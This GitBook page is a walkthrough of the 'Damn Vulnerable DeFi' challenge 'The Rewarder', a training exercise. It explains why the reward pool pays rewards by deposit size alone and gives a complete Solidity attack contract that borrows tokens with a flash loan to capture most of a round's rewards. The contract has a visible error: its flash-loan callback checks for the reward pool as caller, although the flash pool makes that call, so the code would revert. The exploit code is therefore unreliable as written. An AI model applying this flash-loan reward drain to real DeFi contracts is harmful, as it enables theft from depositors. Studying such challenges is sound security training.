> For the complete documentation index, see [llms.txt](https://calnix.gitbook.io/eth-dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://calnix.gitbook.io/eth-dev/smart-contract-security/damn-vulnerable-defi/5.-the-rewarder.md).

# 5. The Rewarder

https\://www\.damnvulnerabledefi.xyz/challenges/the-rewarder/

### **Objective**

* There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.
* Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!
* You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.
* By the way, rumours say a new pool has just launched. Isn’t it offering flash loans of DVT tokens?

### Approach

Let us examine the **deposit()** on Rewards Pool contract.

<figure><img src="https://1628544884-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTgomzlmn9NrxUY0OQ3cD%2Fuploads%2FThWDJiaywSOAMoXtnkJe%2Fimage.png?alt=media&amp;token=58a627c2-df8f-45dc-baff-93ce6a6a2754" alt=""><figcaption></figcaption></figure>

* mints accounting tokens in a 1:1 ratio against the DVT tokens deposited
* calls distributeRewards()

**distributeRewards()**

<figure><img src="https://1628544884-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTgomzlmn9NrxUY0OQ3cD%2Fuploads%2FmEAWWUzay6qkwKFwPnLz%2Fimage.png?alt=media&amp;token=df57ed44-4a49-4ad1-b3a9-bf0b0f7d8066" alt=""><figcaption></figcaption></figure>

* checks if its time for a new round of rewards distribution: **isNewRewardsRound()**
  * rewards are distributed in 5 day intervals from the `lastRecordedSnapshotTimestamp`
* if it is indeed time for a new rewards round, **\_recordSnapshot()** is executed
  * increments `lastSnapshotIdForRewards`
  * updates the timestamp on `lastRecordedSnapshotTimestamp`
  * increments `roundNumber`
* checks current totalDeposits and amountDeposited by the uer
  * if both are non-zero positive values, calculate rewards earned by user
  * rewards awarded are based on the percentage of contribution
  * if rewards > 0, mint reward tokens to the user, and record the timestamp into the mapping `lastRewardTimestamps`

**Attack vector**

* take a flash loan from the flashpool,
* deposit into rewards pool during an eligible rewards round
* return flash loan

{% hint style="info" %}
The weakness is that the rewarderPool does not check for how long a deposit has been held within it, to allocate rewards. It simply calculates rewards as a function of size, disregarding time.
{% endhint %}

### Solution

create a new contract for the attack:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import {TheRewarderPool} from "../../../src/Contracts/the-rewarder/TheRewarderPool.sol";
import {DamnValuableToken} from "../DamnValuableToken.sol";
import {FlashLoanerPool} from "../../../src/Contracts/the-rewarder/FlashLoanerPool.sol";
import {RewardToken} from "./RewardToken.sol";

contract Attack {
    
    TheRewarderPool public rewarderPool;
    DamnValuableToken public dvt;
    FlashLoanerPool public flashPool;
    RewardToken public rewardToken;
    address public owner;

    constructor(TheRewarderPool rewarderPool_, DamnValuableToken dvt_, FlashLoanerPool flashPool_,RewardToken rewardToken_){
        rewarderPool = rewarderPool_;
        dvt = dvt_;
        flashPool = flashPool_;
        rewardToken = rewardToken_;
        owner = msg.sender;
    }

    ///@notice take the largest possible flashloan
    function attack() external {
        require(owner == msg.sender, "only owner");

        uint256 dvtAvailable = dvt.balanceOf(address(flashPool));
        flashPool.flashLoan(dvtAvailable);
    }


    ///@notice done on new round of rewards
    function receiveFlashLoan(uint256 amount) external {
        require(address(rewarderPool) == msg.sender, "only flashPool");

        dvt.approve(address(rewarderPool), amount);
        rewarderPool.deposit(amount);

        // return borrowed tokens to flashPool
        rewarderPool.withdraw(amount);
        bool success = dvt.transfer(address(flashPool), amount);
        require(success, "fLoan not returned");

        // transfer reward tokens to attacker wallet
        uint256 rewards = rewardToken.balanceOf(address(this));
        bool sent = rewardToken.transfer(owner, rewards);
        require(sent, "rewards not sent");
    }
}
```

### Test Exploit()

<figure><img src="https://1628544884-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTgomzlmn9NrxUY0OQ3cD%2Fuploads%2FDe4cvdJ6O9w0RMwOQ5Mn%2Fimage.png?alt=media&amp;token=d10de422-a236-49ef-9f7a-18ae36ee0497" alt=""><figcaption></figcaption></figure>
